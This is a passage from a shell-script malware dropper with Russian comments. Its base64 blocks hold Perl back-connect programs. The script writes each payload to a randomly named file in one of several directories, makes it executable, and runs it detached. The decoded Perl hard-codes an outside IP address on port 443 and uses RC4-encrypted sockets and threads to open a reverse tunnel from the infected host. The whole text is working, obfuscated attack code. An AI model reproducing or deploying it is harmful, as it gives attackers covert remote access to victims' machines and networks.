LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #60 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #60 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 61 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNTUnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu 